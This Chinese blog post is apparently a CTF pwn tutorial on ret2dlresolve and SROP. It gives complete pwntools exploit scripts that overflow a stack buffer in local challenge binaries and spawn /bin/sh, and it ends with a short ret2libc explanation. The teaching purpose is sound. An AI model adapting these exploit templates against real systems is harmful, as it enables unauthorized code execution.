Ret2dlresolve、Srop

一、Ret2dlresolve

原理详解见https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/icon-default.png?t=N7T8https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/

直接通过题来介绍如何使用,及什么时候使用,和基于pwntools工具的攻击。

非常明显通过read函数的栈溢出,但是没有后门函数,也没有能够打印的函数,无法得到libc基址,

同时汇编代码中没有syscall指令,也就不能用ret2syscall的方法去做。

所以利用ret2dlresolve的方法去伪造read函数的got表,这里直接利用工具去伪造,由于很少见到这类问题,想学手动构造及深析原理的朋友可以去自行搜索。这里给出脚本,遇到相关问题时,改一下覆盖字节大小。

from pwn import *
p=process("./pwn64")
elf = context.binary = ELF('./pwn64')
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw(b'A' * (0x30+8))
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)
p.interactive()

二、SROP

具体原理及解析分别见

SROP - CTF WikiCTF Wikiicon-default.png?t=N7T8https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/

https://blog.csdn.net/qq_40827990/article/details/103633527?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170988875316800211570130%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=170988875316800211570130&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-103633527-null-null.142^v99^pc_search_result_base6&utm_term=srop&spm=1018.2226.3001.4187icon-default.png?t=N7T8https://blog.csdn.net/qq_40827990/article/details/103633527?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170988875316800211570130%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=170988875316800211570130&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-103633527-null-null.142^v99^pc_search_result_base6&utm_term=srop&spm=1018.2226.3001.4187接下来上题

这里发现有个显著的区别就是所调用的函数均是通过syscall调用

这里看到题中所给的rax为0xF的gadget,刚好满足srop所用函数sigreturn的条件。

然后看脚本

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./pwn')
p = process("./pwn")
def bug():
	gdb.attach(p)
	pause() 
vuln=0x4004ed
syscall=0x400517
gadgets=0x4004DA
payload=b'a'*0x10+p64(vuln)
bug()
p.sendline(payload)
stack=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(stack))

#伪造调用execve函数时寄存器信息
frame=SigreturnFrame()
#frame.rax=constants.SYS_execve #与下一行效果相同
frame.rax=0x3b        #64位execve的系统调用号
frame.rdi=stack-296   #/bin/sh的地址
frame.rsi=0
frame.rdx=0
frame.rip=syscall

payload=b'/bin/sh\x00'*2+p64(gadgets)+p64(syscall)+bytes(frame)  #伪造的寄存器信息发送时转化为字节
pause()
p.sendline(payload)
p.interactive()

 然后看一下伪造前后的效果

这里是即将执行syscall调用sigreturn,可以看到rax寄存器为0xf

这里是执行这个函数

最后伪造完成,没有修改的寄存器变为0,然后执行execve函数,从而getshell。

pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

江屿..

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值